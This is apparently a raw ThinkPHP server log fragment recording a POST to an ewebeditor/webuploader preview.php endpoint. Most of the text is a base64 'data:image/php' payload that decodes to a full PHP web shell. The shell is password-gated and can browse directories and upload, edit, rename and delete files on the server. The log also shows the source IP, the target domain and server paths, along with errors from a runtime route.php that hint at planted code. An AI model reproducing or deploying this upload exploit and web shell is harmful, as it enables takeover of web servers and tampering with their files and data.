'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:33:29+08:00 ] 116.213.36.234 POST www.51tianwei.com/ewebeditor/webuploader/0.1.15/server/preview.php [运行时间:0.002507s] [吞吐率:398.89req/s] [内存消耗:196.78kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'ewebeditor', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 